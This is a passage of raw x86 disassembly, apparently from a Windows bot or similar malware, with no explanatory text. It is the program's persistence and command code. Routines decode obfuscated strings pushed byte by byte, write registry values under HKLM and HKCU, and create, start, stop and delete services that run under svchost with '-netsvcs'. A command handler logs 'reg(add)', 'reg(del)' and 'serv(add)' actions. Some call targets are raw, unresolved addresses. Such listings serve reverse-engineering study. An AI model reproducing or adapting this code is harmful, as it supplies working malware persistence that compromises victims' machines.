var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E2F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_40142E
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		mov	ebp, dword_51175C
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2970000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2930000h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2970000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2930000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2970000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2930000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2970000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2930000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2970000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2930000h
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E2F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E870	proc near		; CODE XREF: sub_401451j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E870
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		mov	esi, dword_51175C
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_51176C
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_511740
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E870	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ED00	proc near		; CODE XREF: sub_4014A1j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40ED00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C71
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_40142E
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_444684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_40142E
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402171
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40ED00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EE40	proc near		; CODE XREF: sub_402171j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40EE40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		call	near ptr 2930926h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EE7F
		xor	al, al
		jmp	loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EE7F:				; CODE XREF: sub_40EE40+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_40142E
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017EE
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_449834
		call	sub_4017EE
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 2930C4Ch
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EF65
		nop
		call	near ptr 27D0990h
		cmp	eax, 431h
		jnz	short loc_40EF49
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401951
		mov	esi, dword_511754
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_4014A1
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EF49:				; CODE XREF: sub_40EE40+CBj
		push	edi
		nop
		call	near ptr 2940000h
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EF65:				; CODE XREF: sub_40EE40+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		nop
		call	near ptr 2940261h
		test	eax, eax
		push	esi
		mov	esi, dword_511754
		jnz	short loc_40EFBC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EFBC:				; CODE XREF: sub_40EE40+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EFD0:				; CODE XREF: sub_40EE40+3Aj
					; sub_40EE40+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40EE40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F060	proc near		; CODE XREF: sub_401951j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2930926h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F087
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F087:				; CODE XREF: sub_40F060+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 28D03D8h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0B4
		push	edi
		nop
		call	near ptr 2940000h
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F0B4:				; CODE XREF: sub_40F060+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		call	near ptr 2930545h
		nop
		push	esi
		nop
		call	near ptr 293078Eh
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40F060	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F100	proc near		; CODE XREF: sub_401FD2j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2930926h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F11F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F11F:				; CODE XREF: sub_40F100+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	esi
		nop
		call	near ptr 28D03D8h
		test	eax, eax
		jnz	short loc_40F146
		push	esi
		nop
		call	near ptr 2940000h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F146:				; CODE XREF: sub_40F100+37j
		push	edi
		mov	edi, dword_511754
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F100	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F180	proc near		; CODE XREF: sub_401FFAj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2930926h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F1A1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1A1:				; CODE XREF: sub_40F180+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 28D03D8h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F1CB
		push	edi
		nop
		call	near ptr 2940000h
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1CB:				; CODE XREF: sub_40F180+3Bj
		push	0
		push	0
		push	esi
		nop
		call	near ptr 2920AA7h
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F180	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F210:				; CODE XREF: ___:loc_4014ABj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43A348
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F30A
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401730
		test	al, al
		jz	short loc_40F2D6
		lea	ecx, [esp+0Ch]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017EE
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch


loc_40F2D6:				; CODE XREF: ___:0040F297j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F30A:				; CODE XREF: ___:0040F246j
		lea	ecx, [edi+47h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F3A9
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401451
		test	al, al
		jz	short loc_40F382
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_40F382:				; CODE XREF: ___:0040F34Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F3A9:				; CODE XREF: ___:0040F31Cj
		lea	ecx, [edi+75h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F4BF
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402171
		test	al, al
		jz	short loc_40F47D
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017EE
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h


loc_40F47D:				; CODE XREF: ___:0040F434j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F4BF:				; CODE XREF: ___:0040F3BBj
		lea	ecx, [edi+0A3h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F561
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401951
		test	al, al
